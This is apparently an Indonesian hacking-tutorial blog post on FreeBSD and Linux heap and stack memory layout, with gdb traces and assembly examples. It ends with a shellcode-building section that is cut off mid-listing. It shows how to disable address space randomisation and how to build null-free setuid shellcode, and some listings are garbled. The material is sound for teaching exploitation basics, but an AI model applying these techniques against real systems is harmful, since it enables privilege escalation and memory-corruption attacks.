-[ Bermain main dengan Heap di FreeBSD 8.2 ]-----------------------------------------------------------------------------------------------------------------------------------------------------------------------

Daerah heap dari suatu memori merupakan suatu daerah yang dinamis. Bagian ini bisa dimanage / dipengaruhi dengan menggunakan
malloc , free, realloc, calloc, jemalloc (BSD), brk,delete.
Kalo dilihat di atas memory area ada 2 yaitu heap dan satu lagi unused (tidak terpakai), yang dimaksud unused adalah daerah .bss .
Bagian ini merupakan bagian deklarasi variabel yang tidak atau belum diisi, bagian ini akan diinialisasi saat run time.

~~malloc()~~

Ok untuk bermain main dengan heap kita mulai dengan contoh program dengan malloc untuk alokasi memori heap:
------------------------------------------------------------
/**sample heap (dynamic) memory allocation made by mywisdom**/
#include
#include
#include
#include
int main()
{
if (fork() != 0)
{
exit(1);
}
char *bufer = (char *)malloc(sizeof(char));
memset(bufer, 'A', sizeof(char)-1);
printf("%p",bufer);
printf("\n================\n");
for(;
{
}
return(0);
}
-----------------------------------------------------

misal diberi nama malloc.c lalu kompile dan jalankan:
-------------------------
mywisdom# gcc -o malloc malloc.c -g
mywisdom# ./malloc
0x28201100
================
mywisdom#
-------------------------

dari hasil di atas kita bisa melihat alamat memori heap yang dialokasikan dengan malloc dimulai dari alamat 0x28201100 (di tiap mesin dan sistem operasi beda beda).

coba kita tes di mesin satu lagi dengan os freebsd 6.2:
-----------
%uname -a
FreeBSD myhost 6.3-PRERELEASE FreeBSD 6.3-PRERELEASE #1: Tue Nov 6 16:13:56 EST 2007 root@myhost.org:/usr/src/sys/i386/compile/MNET i386
%./malloc
%0x804b030
----------------
you'll see that's pretty much different.
ok kembali lagi ke freebsd 8.2, kita tes lagi untuk memahami operasi pada daerah heap:
--------------
/**malloc2 by mywisdom**/
#include
#include
#include
#include
#define UKURAN1 8
#define UKURAN2 8
#define UKURAN3 8
int main()
{
char *bafer = (char *)malloc(UKURAN1);
memset(bafer, 'A', UKURAN1-1);
char *bafer2 = (char *)malloc(UKURAN2);
memset(bafer2, 'B', UKURAN2-1);
char *bafer3 = (char *)malloc(UKURAN3);
memset(bafer3, 'C', UKURAN3-1);
printf("\nalamat heap bafer 1 adalah %p\n", bafer);
printf("\nstring dump bafer 1 adalah %s\n", bafer);
printf("\nalamat heap bafer 2 adalah %p\n", bafer2);
printf("\nstring dump bafer 2 adalah %s\n", bafer2);
printf("\nalamat heap bafer 3 adalah %p\n", bafer3);
printf("\nstring dump bafer 3 adalah %s\n", bafer3);
return 0;
}
-----------
ayayayay gw tau kode di atas jelek krn harusnya pake looping ;p

kompile lalu debug dengan gdb:
-----------------------
mywisdom# gcc -o malloc2 malloc2.c -g
mywisdom# gdb -q malloc2
(gdb) l
1 /**malloc2 by mywisdom**/
2 #include
3 #include
4 #include
5 #include
6 #define UKURAN1 8
7 #define UKURAN2 8
8 #define UKURAN3 8
9 int main()
10 {
(gdb) l
11 char *bafer = (char *)malloc(UKURAN1);
12 memset(bafer, 'A', UKURAN1-1);
13 char *bafer2 = (char *)malloc(UKURAN2);
14 memset(bafer2, 'B', UKURAN2-1);
15 char *bafer3 = (char *)malloc(UKURAN3);
16 memset(bafer3, 'C', UKURAN3-1);
17 printf("\nalamat heap bafer 1 adalah %p\n", bafer);
18 printf("\nstring dump bafer 1 adalah %s\n", bafer);
19 printf("\nalamat heap bafer 2 adalah %p\n", bafer2);
20 printf("\nstring dump bafer 2 adalah %s\n", bafer2);
(gdb) l
21 printf("\nalamat heap bafer 3 adalah %p\n", bafer3);
22 printf("\nstring dump bafer 3 adalah %s\n", bafer3);
23 return 0;
24 }
(gdb)

----------------------

selanjutnya break di line 23 dan tes run:



----------------
(gdb) b 23
Breakpoint 1 at 0x80485b1: file malloc2.c, line 23.
(gdb) run
Starting program: /root/c/malloc2

alamat heap bafer 1 adalah 0x28201050

string dump bafer 1 adalah AAAAAAA

alamat heap bafer 2 adalah 0x28201058

string dump bafer 2 adalah BBBBBBB

alamat heap bafer 3 adalah 0x28201060

string dump bafer 3 adalah CCCCCCC

Breakpoint 1, main () at malloc2.c:23
23 return 0;
(gdb) x/3s 0x28201050
0x28201050: "AAAAAAA" (673189968)
0x28201058: "BBBBBBB" (673189976)
0x28201060: "CCCCCCC" (673189984)
(gdb)
---------------------

dari dump string kita lihat length cuma 7 karena instruksi : memset(bafer2, 'B', UKURAN2-1); karena : #define UKURAN2 8 jadi 8-1=7

kita bandingkan sebentar dengan operasi pada stack, misal buat suatu program dg nama strncpy.c :
--------------------------
/**sample stack operation local var by mywisdom**/
#include
#include
#include
#include
int main(int argc,char *argv[])
{
char *bafer[8];
char *bafer2[8];
char *bafer3[3];
strncpy (bafer,argv[1],8);
strncpy (bafer2,argv[2],8);
strncpy (bafer3,argv[3],8);
printf("\nalamat stack bafer 1 adalah %p\n", bafer);
printf("\nstring dump bafer 1 adalah %s\n", bafer);
printf("\nalamat stack bafer 2 adalah %p\n", bafer2);
printf("\nstring dump bafer 2 adalah %s\n", bafer2);
printf("\nalamat stack bafer 3 adalah %p\n", bafer3);
printf("\nstring dump bafer 3 adalah %s\n", bafer3);
return 0;
}
------------------------------

kompile dengan opsi -g: dan debug dengan break di line 20
----------
mywisdom# gdb -q strncpy
(gdb) l
1 /**sample stack operation local var by mywisdom**/
2 #include
3 #include
4 #include
5 #include
6 int main(int argc,char *argv[])
7 {
8 char *bafer[8];
9 char *bafer2[8];
10 char *bafer3[3];
(gdb) l
11 strncpy (bafer,argv[1],8);
12 strncpy (bafer2,argv[2],8);
13 strncpy (bafer3,argv[3],8);
14 printf("\nalamat stack bafer 1 adalah %p\n", bafer);
15 printf("\nstring dump bafer 1 adalah %s\n", bafer);
16 printf("\nalamat stack bafer 2 adalah %p\n", bafer2);
17 printf("\nstring dump bafer 2 adalah %s\n", bafer2);
18 printf("\nalamat stack bafer 3 adalah %p\n", bafer3);
19 printf("\nstring dump bafer 3 adalah %s\n", bafer3);
20 return 0;
(gdb) b 20
Breakpoint 1 at 0x8048553: file strncpy.c, line 20.
(gdb) run AAAAAAA BBBBBBB CCCCCCC
Starting program: /root/c/strncpy AAAAAAA BBBBBBB CCCCCCC

alamat stack bafer 1 adalah 0xbfbfe990

string dump bafer 1 adalah AAAAAAA

alamat stack bafer 2 adalah 0xbfbfe970

string dump bafer 2 adalah BBBBBBB

alamat stack bafer 3 adalah 0xbfbfe964

string dump bafer 3 adalah CCCCCCC

Breakpoint 1, main (argc=4, argv=0xbfbfea0c) at strncpy.c:20
20 return 0;
(gdb)
----------

ok jika kita bandingkan dengan debug program dengan operasi pada heap:

malloc2.c (we're playing at heap):
-----------
0x28201050: "AAAAAAA" (673.189.968)
0x28201058: "BBBBBBB" (673.189.976)
0x28201060: "CCCCCCC" (673.189.984)
------------

di sini kita bisa lihat tiap ada alokasi baru dengan malloc() maka alamat memori akan bergerak ke atas ke alamat yg lebih tinggi

strncpy.c (we're playin at stack area)
-------------------
0xbfbfe990: "AAAAAAA" (3.217.025.424)
0xbfbfe970: "BBBBBBB" (3.217.025.392)
0xbfbfe964: "CCCCCC" (3.217.025.380)
-----------------

sebaliknya terjadi pada operasi stack, saat ada tumpukan baru alamat memori bergerak ke bawah ke alamat yang lebih rendah.

(alamat memori yang lebih rendah)

berikut ini gambaranya:

[img]https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitsTD1xiLAe_tTtrcD-IcLXH4BiZWYaIKskIu03NwVH1R_HNeuUgnxbsFg7JmLPn0tQbx5F1qYgK8lAfhy1Afxx43wQ_zUoZAS5i6zW4pmC2m6xd9OxfoWkP9n728FVgbRtdENLZktrM0/s1600/memlay.jpg">


----------penggunaan sys_brk di linux dan freebsd----------
Misal berikut ini contoh kode assembly untuk implementasi sys_brk

mov ebx, 0
mov eax, 0x2d ;----------> syscall sys_brk
int 0x80
test eax, eax
js label_error_handling_here

ebx bisa diisi dengan zero atau non zero, krn kita tidak tau alamat memori yang tersedia maka ebx kita isi dengan zero.

setelah itu nilai eax perlu dites: test eax,eax atau cmp eax,0
jika minus
berarti terjadi kegagalan.

berikut ini contoh penggunaan sys_brk:

root@mywisdom-Vostro1310:~/asm# cat sys_brk.asm
global _start
section .text
_start:
mov ebx, 0
mov eax, 0x2d
int 0x80
cmp eax, 0
jl gagal
jmp sukses



;not efficient way dont do this in real code
sukses:
mov eax, 4
mov ebx, 1
mov ecx, berhasil
mov edx, pberhasil
int 0x80

mov eax,1
mov ebx,0
int 0x80


gagal:
mov eax, 4
mov ebx, 1
mov ecx, salah
mov edx, psalah
int 0x80

mov eax,1
mov ebx,0
int 0x80

section .data
salah db "sys_brk gagal !!!",10
psalah equ $ -salah

berhasil db "sys_brk berhasil !!!",10
pberhasil equ $ -berhasil

root@mywisdom-Vostro1310:~/asm# nasm -f elf sys_brk.asm
root@mywisdom-Vostro1310:~/asm# ld -o sys_brk sys_brk.o
root@mywisdom-Vostro1310:~/asm# ./sys_brk
sys_brk berhasil !!!
root@mywisdom-Vostro1310:~/asm#

untuk mempermudah debugging tambahkan opsi -g



root@mywisdom-Vostro1310:~/asm# nasm -f elf sys_brk.asm -g
root@mywisdom-Vostro1310:~/asm# ld -o sys_brk sys_brk.o



mari kita examine dengan strace

root@mywisdom-Vostro1310:~/asm# strace ./sys_brk
execve("./sys_brk", ["./sys_brk"], [/* 39 vars */]) = 0
brk(0) = 0x81e2000
write(1, "sys_brk berhasil !!!\n", 22sys_brk berhasil !!!
) = 22
_exit(0) = ?
root@mywisdom-Vostro1310:~/asm#

sedangkan untuk mencoba sys_brk di freebsd mari kita lihat dulu:
-----------------
mywisdom# cat /usr/include/sys/syscall.h | grep brk
#define SYS_sbrk 69
mywisdom#
------------------

jadi berikut ini rutin untuk memanggil sys brk:
-------------------------------------
mov $0, %ebx
mov $45,%eax
int $0x80
test %eax, %eax
js _gagal
----------------------------------
karena 69 desimal= 45 hexa

berikut ini contoh kode assembly untuk sys_brk:
========================
.section .rodata
evilbuf:
.ascii "sys_brk berhasil !"
len = . - evilbuf
evilbuf2:
.ascii "sys_brk gagal !"
len2 = . - evilbuf2


.globl _start
_start:
mov $0, %ebx
mov $45,%eax
int $0x80
test %eax, %eax
js _gagal

pushl $len
pushl $evilbuf
pushl $1
movl $4,%eax
pushl %eax
int $0x80
jmp _out

_gagal:
pushl $len2
pushl $evilbuf2
pushl $1
movl $4,%eax
pushl %eax
int $0x80


_out:
movl $1, %eax
pushl $0
pushl %eax
int $0x80
=============================




--[ Penggunaan Valgrind & Alleyoop Memory Checker di linux 32 bit]---------------------------------------------------------------------------------------------------------------------------------

Alleyoop merupakan gui untuk mengeksekusi valgrind di gnome. valgrind biasa digunakan untuk debug memori, mendeteksi memory leak, dll.
Pertama tama kita tes penggunaan malloc dengan source yg sama seperti di atas, kali ini dites di linux :

[img]https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBX0PEukNFXN-rNSUsPAAc17PhqAHWM3HqpAU8fGloVg5dj-9Xe_NA45rC-5t05iv5GPYfosMYOxkZr3GKFQFkPghku2RX83IorqkI5bncUCIsCMfsiSOc6mMemcL3aWESft_zsgiJ7B8/s1600/fmtx.jpg">
------------
root@mywisdom-Vostro1310:/opt# cat /proc/sys/kernel/randomize_va_space
2
-------------
keliatan alamat memori heap yg dialokasi dirandom, untuk itu kita matikan dulu:
---------------
echo 0 > /proc/sys/kernel/randomize_va_space
-------------

setelah dimatikan alamat virtual address memori menjadi tetap :
-------------------------------
root@mywisdom-Vostro1310:/home/mywisdom/artikel/c# ./malloc
root@mywisdom-Vostro1310:/home/mywisdom/artikel/c# 0x804b008
================

root@mywisdom-Vostro1310:/home/mywisdom/artikel/c# ./malloc
root@mywisdom-Vostro1310:/home/mywisdom/artikel/c# 0x804b008
================
-------------------------------

Untuk menguji dengan Alleyoop :



valgrind bisa juga dites langsung dari cli:
---------------------
root@mywisdom-Vostro1310:/home/mywisdom/artikel/c# valgrind ./malloc
==13455== Memcheck, a memory error detector
==13455== Copyright (C) 2002-2010, and GNU GPL'd, by Julian Seward et al.
==13455== Using Valgrind-3.6.1 and LibVEX; rerun with -h for copyright info
==13455== Command: ./malloc
==13455==
0x4198028
================
==13455==
==13455== HEAP SUMMARY:
==13455== in use at exit: 0 bytes in 0 blocks
==13455== total heap usage: 0 allocs, 0 frees, 0 bytes allocated
==13455==
==13455== All heap blocks were freed -- no leaks are possible
==13455==
==13455== For counts of detected and suppressed errors, rerun with: -v
==13455== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 11 from 6)
root@mywisdom-Vostro1310:/home/mywisdom/artikel/c#
------------------------------------------------



--[ Bermain main dengan Stack di FreeBSD 8.2]------------------------------------------------------------------------------------------------------------------------------

untuk memahami cara kerja stack mari kita buat sample program assembly untuk bermain main dengan variabel lokal :
-----------------------
global _start
section .text
_start:
push ebp
mov ebp,esp
push 'AAAA'
push 'BBBB'
push 'CCCC'
push 'DDDD'
push 'EEEE'
push 'FFFF'
push 'GGGG'
push 'HHHH'
push 1
pop eax
int 80h
-------------------------

lakukan kompile dengan opsi -g :
nasm -f elf stack.asm
ld -o stack stack.o

examine dengan gdb:
----------------------------------
mywisdom# gdb -q stack
(gdb) l
1 global _start
2 section .text
3 _start:
4 push ebp
5 mov ebp,esp
6 push 'AAAA'
7 push 'BBBB'
8 push 'CCCC'
9 push 'DDDD'
10 push 'EEEE'
(gdb) l
11 push 'FFFF'
12 push 'GGGG'
13 push 'HHHH'
14 push 1
15 pop eax
16 int 80h
(gdb) b 6
Breakpoint 2 at 0x8048083: file stack.asm, line 6.
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/c/stack

Breakpoint 2, 0x08048083 in _start ()
(gdb) p $esp
$4 = (void *) 0xbfbfea30
(gdb) p $ebp
$5 = (void *) 0xbfbfea30
-----------------------

karena perintah:
--------------------------
mov ebp,esp
--------------------------

---------------------
(gdb) b 7
Breakpoint 1 at 0x8048088: file stack.asm, line 7.
(gdb) run
Starting program: /root/c/stack

Breakpoint 1, 0x08048088 in _start ()
(gdb) i r
eax 0x0 0
ecx 0x0 0
edx 0x0 0
ebx 0x0 0
esp 0xbfbfea2c 0xbfbfea2c
ebp 0xbfbfea30 0xbfbfea30
esi 0x0 0
edi 0x0 0
eip 0x8048088 0x8048088
eflags 0x202 514
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x3b 59
(gdb)
---------------------


kita bisa lihat ada perubahan :

-----------------------------
esp 0xbfbfea2c (3217025580)
ebp 0xbfbfea30 (3217025584)
---------------------------

di sini kita bisa lihat dari top of stack telah dipush word pertama 'AAAA' :
---------------------------
(gdb) x/s 0xbfbfea2c
0xbfbfea2c: "AAAA"
(gdb)
--------------------------

push 'BBBB':
esp 0xbfbfea28 (3217025576)
ebp 0xbfbfea30 (3217025584)

(gdb) x/s 0xbfbfea28
0xbfbfea28: "BBBBAAAA"
(gdb)

---------------
s/d HHHH:
esp 0xbfbfea10 (3217025552)
ebp 0xbfbfea30 (3217025584)

(gdb) x/s 0xbfbfea10
0xbfbfea10: "HHHHGGGGFFFFEEEEDDDDCCCCBBBBAAAA"
(gdb)
------------------

Dari gambaran di atas kita sudah mengetahui cara kerja stack dengan operasi push, saat terjadi push nilai esp setiap kali kita melakukan push
selalu bergeser ke alamat memori yang lebih kecil,
Selisih antara ebp dan esp ---- 0xbfbfea30-0xbfbfea10 = 20h = 32 desimal = jumlah karakter yang telah dipush.

selanjutnya kita akan melakukan tes pop :

misal kita edit program tadi kita tambahkan pop:
pop.asm
------------------------
global _start
section .text
_start:
push ebp
mov ebp,esp
push 'AAAA'
push 'BBBB'
push 'CCCC'
push 'DDDD'
push 'EEEE'
push 'FFFF'
push 'GGGG'
push 'HHHH'
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
push 1
pop eax
int 80h
-------------------------

dengan : pop eax berarti kita memindahkan top stack ke register eax.

simpan dengan nama misal : pop.asm lalu kompile dan debug:
------------
mywisdom# nasm -f elf pop.asm -g
mywisdom# ld -o pop pop.o
mywisdom# gdb -q pop
(gdb) l
1 global _start
2 section .text
3 _start:
4 push ebp
5 mov ebp,esp
6 push 'AAAA'
7 push 'BBBB'
8 push 'CCCC'
9 push 'DDDD'
10 push 'EEEE'
(gdb) l
11 push 'FFFF'
12 push 'GGGG'
13 push 'HHHH'
14 pop eax
15 pop eax
16 pop eax
17 pop eax
18 pop eax
19 pop eax
20 pop eax
(gdb) l
21 pop eax
22 push 1
23 pop eax
24 int 80h
(gdb) b 15
Breakpoint 1 at 0x80480ac: file pop.asm, line 15.
(gdb) run
Starting program: /root/c/pop

Breakpoint 1, 0x080480ac in _start ()
(gdb) i r
eax 0x48484848 1212696648
ecx 0x0 0
edx 0x0 0
ebx 0x0 0
esp 0xbfbfea28 0xbfbfea28
ebp 0xbfbfea44 0xbfbfea44
esi 0x0 0
edi 0x0 0
eip 0x80480ac 0x80480ac
eflags 0x202 514
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x3b 59
(gdb) x/s 0xbfbfea28
0xbfbfea28: "GGGGFFFFEEEEDDDDCCCCBBBBAAAA"
(gdb)
----------

kita di sini bisa lihat setelah dilakukan pop jika didump data berupa string mulai dari 0xbfbfea28 maka sisanya adl: GGGGFFFFEEEEDDDDCCCCBBBBAAAA (Last in first Out)


-------------
mywisdom# gdb -q stack
(gdb) l
warning: Source file is more recent than executable.

1 global _start
2 section .text
3 _start:
4 push ebp
5 mov ebp,esp
6 push 'AAAA'
7 push 'BBBB'
8 push 'CCCC'
9 push 'DDDD'
10 push 'EEEE'
(gdb) l
11 push 'FFFF'
12 push 'GGGG'
13 push 'HHHH'
14 pop eax
15 pop eax
16 pop eax
17 pop eax
18 pop eax
19 pop eax
20 pop eax
(gdb) b 12
Breakpoint 1 at 0x80480a1: file stack.asm, line 12.
(gdb) run
Starting program: /root/c/stack

Breakpoint 1, 0x080480a1 in _start ()
(gdb) i r
eax 0x0 0
ecx 0x0 0
edx 0x0 0
ebx 0x0 0
esp 0xbfbfea1c 0xbfbfea1c
ebp 0xbfbfea34 0xbfbfea34
esi 0x0 0
edi 0x0 0
eip 0x80480a1 0x80480a1
eflags 0x202 514
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x3b 59
(gdb) x/s $ebp-4
0xbfbfea30: "AAAA"
(gdb) x/s $ebp-8
0xbfbfea2c: "BBBBAAAA"
(gdb) x/s $ebp-12
0xbfbfea28: "CCCCBBBBAAAA"
(gdb) x/s $ebp-14
0xbfbfea26: "DDCCCCBBBBAAAA"
(gdb) info frame
Stack level 0, frame at 0xbfbfea3c:
eip = 0x80480a1 in _start; saved eip 0x1
called by frame at 0x0
Arglist at 0xbfbfea34, args:
Locals at 0xbfbfea34, Previous frame's sp is 0xbfbfea3c
Saved registers:
ebp at 0xbfbfea34, eip at 0xbfbfea38

----------------------------
di sini jika kita dump alamat memori dari $ebp-4 maka kita dapatkan tumpukan paling bawah dengan hasil dump : "AAAA"
dan seterusnya...

Pada contoh di atas kita menggunakan variabel lokal. Selanjutnya kita akan pakai bahasa C untuk menguji coba parameter

mywisdom.c :
--------------------------------
#include
int main(int argc,char **argv[])
{
printf("%s %s\n",argv[1],argv[2]);
printf("%08x %08x\n",argv[1],argv[2]);
return 0;
}
-------------------------------

kompile dan tes:
--------------
mywisdom# gcc -o mywisdom mywisdom.c -g
mywisdom# ./mywisdom a b
a b
bfbfebbb bfbfebbd
mywisdom#
----------------

ok mari kita debug:

----------------------
mywisdom# gdb -q mywisdom
(gdb) l
1 #include
2 int main(int argc,char **argv[])
3 {
4 printf("%s %s\n",argv[1],argv[2]);
5 printf("%08x %08x\n",argv[1],argv[2]);
6 return 0;
7 }
8
(gdb) b 6
Breakpoint 1 at 0x804849c: file mywisdom.c, line 6.
(gdb) run AAAA BBBB
Starting program: /root/c/mywisdom AAAA BBBB
AAAA BBBB
bfbfeba1 bfbfeba6

Breakpoint 1, main (argc=3, argv=0xbfbfea18) at mywisdom.c:6
6 return 0;
(gdb)
-----------------------

string AAAA (parameter ke 1 ) bisa kita dump mulai alamat memori 0xbfbfeba1 :
-----------
(gdb) x/s 0xbfbfeba1
0xbfbfeba1: "AAAA"
(gdb)
-------------

string BBBB (parameter ke 2 ) bisa kita dump mulai alamat memori 0xbfbfeba6
---------------
(gdb) x/s 0xbfbfeba6
0xbfbfeba6: "BBBB"
(gdb) info frame
Stack level 0, frame at 0xbfbfe9d0:
eip = 0x804849c in main (mywisdom.c:6); saved eip 0x80483c7
source language c.
Arglist at 0xbfbfe9ac, args: argc=3, argv=0xbfbfea18
Locals at 0xbfbfe9ac, Previous frame's sp at 0xbfbfe9c0
Saved registers:
ebx at 0xbfbfe9c4, ebp at 0xbfbfe9c8, eip at 0xbfbfe9cc
(gdb) x/30s 0xBFBFEB8D
0xbfbfeb8d: ""
0xbfbfeb8e: ""
0xbfbfeb8f: ""
0xbfbfeb90: "/root/c/mywisdom"
0xbfbfeba1: "AAAA"
0xbfbfeba6: "BBBB"
0xbfbfebab: "COLUMNS=80"
0xbfbfebb6: "LINES=24"
0xbfbfebbf: "ORBIT_SOCKETDIR=/var/tmp/orbit-root"
0xbfbfebe3: "WINDOWPATH=9"
0xbfbfebf0: "DISPLAY=:0.0"
0xbfbfebfd: "GNOME_KEYRING_PID=1974"
0xbfbfec14: "GDM_KEYBOARD_LAYOUT=us"
0xbfbfec2b: "LOGNAME=root"
0xbfbfec38: "PWD=/root/c"
0xbfbfec44: "HOME=/root"
---------------------


Gambaran Memori Saat printf dipanggil dari main() :

------------------------------------------------
0xbfbfeba6 | parameter ke 2 (ebp+1DE)|"BBBB" (3217025958)
0xbfbfeba1 | parameter ke 1 (ebp+1D5) | "AAAA" (3217025953)
0xbfbfeb90 | parameter ke 0 (ebp+1c8) | /root/c/mywisdom (3217025936)
0xbfbfe9cc | eip (ebp+4) | (3217025484)
0xbfbfe9c8 | ebp | (3217025480)
0xbfbfe9b0 | esp | (3217025456)
--------------------------------------------------

****contoh debugging program dengan operasi stack
---------------------
/**operasi stack di c by mr dom dom**/
#include
void operasi_stak(char a[],char b[],char c[],char d[])
{

}
int main(int argc, char *argv[])
{
operasi_stak("AAAA","BBBB","CCCC","DDDD");
return 0;
}


-----------------------
misal kita beri nama stack.c lalu kompile: gcc -o stack stack.c -g

lalu examine dengan gdb:

---------------
mywisdom# gdb -q stack
(gdb) l
1 /**operasi stack di c by mr dom dom**/
2 #include
3 void operasi_stak(char a[],char b[],char c[],char d[])
4 {
5
6 }
7 int main(int argc, char *argv[])
8 {
9 operasi_stak("AAAA","BBBB","CCCC","DDDD");
10 return 0;
(gdb)

----------------------


Lakukan break di line 9 saat terjadinya operasi stack:
----------------
(gdb) b 9
Breakpoint 2 at 0x8048431: file stack.c, line 9.
--------------
tes run :
------------------
(gdb) run
Starting program: /root/artikel/c/stack

Breakpoint 1, main () at stack.c:9
warning: Source file is more recent than executable.

9 operasi_stak("AAAA","BBBB","CCCC","DDDD");
(gdb)


----------------

lakukan dissasemble terhadap fungsi main (dump 16 instruksi assembly mulai dari main):
----------------------------------
(gdb) x/16i main
0x8048420
: lea 0x4(%esp),%ecx
0x8048424 : and $0xfffffff0,%esp
0x8048427 : pushl 0xfffffffc(%ecx)
0x804842a : push %ebp
0x804842b : mov %esp,%ebp
0x804842d : push %ecx
0x804842e : sub $0x10,%esp
0x8048431 : movl $0x8048501,0xc(%esp)
0x8048439 : movl $0x8048506,0x8(%esp)
0x8048441 : movl $0x804850b,0x4(%esp)
0x8048449 : movl $0x8048510,(%esp)
0x8048450 : call 0x8048410
0x8048455 : mov $0x0,%eax
0x804845a : add $0x10,%esp
0x804845d : pop %ecx
0x804845e : pop %ebp
(gdb) step
operasi_stak (a=0x8048510 "AAAA", b=0x804850b "BBBB", c=0x8048506 "CCCC",
d=0x8048501 "DDDD") at stack.c:6
6 }
(gdb) info frame
Stack level 0, frame at 0xbfbfe994:
eip = 0x8048413 in operasi_stak (stack.c:6); saved eip 0x8048455
called by frame at 0xbfbfe9b0
source language c.
Arglist at 0xbfbfe98c, args: a=0x8048510 "AAAA", b=0x804850b "BBBB",
c=0x8048506 "CCCC", d=0x8048501 "DDDD"
Locals at 0xbfbfe98c, Previous frame's sp is 0xbfbfe994
Saved registers:
ebp at 0xbfbfe98c, eip at 0xbfbfe990
(gdb)
-----------------------

(alamat memori: 0x8048420 s/d 0x804845e merupakan bagian segment .text)

* penjelasan instruksi assembly yang didump:
ok jika kita lihat pertama 2 : lea 0x4(%esp),%ecx , di sini untuk menyimpan alamat dari argumen ke 0 ke register cx (ebp-4).
selanjutnya diikuti oleh rutin: and $0xfffffff0,%esp, perhatian $0xfffffff0 di sini maksudnya bukan alamat memori, jika kita konvert ke biner:
0xfffffff0 = 11111111111111111111111111110000
selanjutnya instruksi : pushl 0xfffffffc(%ecx) atau bisa juga ditulis: mov dword ptr[ebp-4],1

selanjutnya akan dipersiapkan stack frame pointer baru :
push %ebp
mov %esp,%ebp

variabel diinput ke stack mulai dari yang paling kanan dan selanjutnya s/d ke kiri:
string dump DDDD pada alamat 0x8048501 setelah itu yang di lanjutkan CCCC dst
------------------------
(gdb) x/4s 0x8048501
0x8048501 <_fini+101>: "DDDD"
0x8048506 <_fini+106>: "CCCC"
0x804850b <_fini+111>: "BBBB"
0x8048510 <_fini+116>: "AAAA"
(gdb)
--------------------
berada pada region elf . Pada saat fungsi dipanggil maka alamat eip untuk jmp kembali setelah pemanggilan fungsi akan disimpan di frame pointer
---------------------------------------

jika digambarkan lebih lengkap tentang variabel lokal (buffer) dan parameter serta stack frame pointer kurang lebih seperti ini:

[img]https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_pTlQ830FOZelsAkVbZGED63usJZq3P8OCD-LwO8p6612WENDhSF60cXy9M3X2QYaII5drAzd_0wmfE80PGN5BOEopBrpxE9runKRK2JkKJjnejWV1xuBQIMHrPNiOtHBXm3J0FU89fY/s1600/fmt2.jpg">

Ret / EIP berisi alamat memori untuk return address ke bagian eksekusi kode selanjutnya. ebp disebut juga frame pointer.

eip 0xbfbfea38 (3217025592)
ebp 0xbfbfea34 (3217025588)

Untuk lebih detailnya gambaranya adl sbb:

[img]https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj04hCSCkMWAe9BJiSEGHQrVoZTrZ-lJA1HhKFgXHPhGJo2Z2VaTY4lVm01QwZtoaSEEF9gJ17Y7GZoLkEqY6merrGCu0P3mAzYKQ-smBzYejgELElOX0mWijVGBzFU7TzuvKMrsrqY7c4/s1600/fmt3.jpg">

-----------------
-[Membuat shellcode di Freebsd 8.2 ]-----------------------------------------------------------------------------------------------------------------------------

"mengakses register lebih cepat dari mengakses memori karena register ada
di cpu dan memori baru terhubung ke cpu melalui bus"

kali ini kita akan membuat shellcode untuk Freebsd 8.2 , masih pake 32 bit
------------------------
mywisdom# uname -a
FreeBSD mywisdom.org 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18
02:24:46 UTC 2011
root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386
mywisdom#
-----------------------
untuk freebsd 8.2 daftar syscall bisa dilihat di
/usr/include/sys/syscall.h

-------------------
mywisdom# cat /usr/include/sys/syscall.h | grep setuid
#define SYS_setuid 23
-------------------

jadi kita perlu mengisi eax dengan 17 hexa (konversi dari 23 desimal=17
hexa)
----------------
mov eax,0x17
int 80h
--------------
0x: berarti kita akan memindahkan angka berformat hex

untuk memastikanya coba kita liat lagi di /usr/include/unistd.h:
---------------------------
mywisdom# cat /usr/include/unistd.h | grep setuid
int setuid(uid_t);
---------------------------

terlihat hanya 1 parameter, untuk fungsi di bawah 6 argumen urutan
pemasukanya selalu : eax, ebx, ecx, edx, esi

ok mari kita tes dulu memanggil syscall setuid dan langsung menggunakan
syscall exit:

sebelumnya kita liat dulu kebutuhan kita:
-----------------------
mywisdom# cat /usr/include/sys/syscall.h | grep exit
#define SYS_exit 1
#define SYS_thr_exit 431
mywisdom#
-----------------------
yang akan kita pakai adl yg ini:
#define SYS_exit 1

ok kita siapkan label dengan nama keluar, di bawahnya kita eksekusi
syscall exit:

keluar:
mov eax,0x01
int 80h

------------------
;copyleft by dom dom aka m0nk3y
global _start
section .text
_start:
xor eax,eax
push eax
push eax
mov eax,0x17
int 80h

keluar:
push byte 0x01
pop eax
int 80h

-----------------


misal namanya setuid_exit.asm

mywisdom# nasm -f elf setuid_exit.asm
mywisdom# ld -o setuid_exit setuid_exit.o


mywisdom# ./setuid_exit

gak ada segmentation fault berarti ok heh?

untuk membuat shellcodenya gunakan objdump seperti di linux:
-----------------------------
mywisdom# objdump -d setuid_exit
setuid_exit: file format elf32-i386-freebsd

Disassembly of section .text:

08048080 <_start>:
8048080: 31 c0 xor %eax,%eax
8048082: 50 push %eax
8048083: 50 push %eax
8048084: b8 17 00 00 00 mov $0x17,%eax
8048089: cd 80 int $0x80

0804808b :
804808b: 6a 01 push $0x1
804808d: 58 pop %eax
804808e: cd 80 int $0x80
mywisdom#
_________________

jika register eax diganti register ax, berdasarkan pengalaman masih ada
null string, jadi kita pake register 8 bit: al

mov $0x17,%eax

menjadi:


mov $0x17,%al


kompile:
mywisdom# nasm -f elf setuid_exit2.asm
mywisdom# ld -o setuid_exit setuid_exit.o

mywisdom# objdump -d setuid_exit2

setuid_exit2: file format elf32-i386-freebsd

Disassembly of section .text:

08048080 <_start>:
8048080: 31 c0 xor %eax,%eax
8048082: 50 push %eax
8048083: 50 push %eax
8048084: b0 17 mov $0x17,%al
8048086: cd 80 int $0x80

08048088 :
8048088: 6a 01 push $0x1
804808a: 58 pop %eax
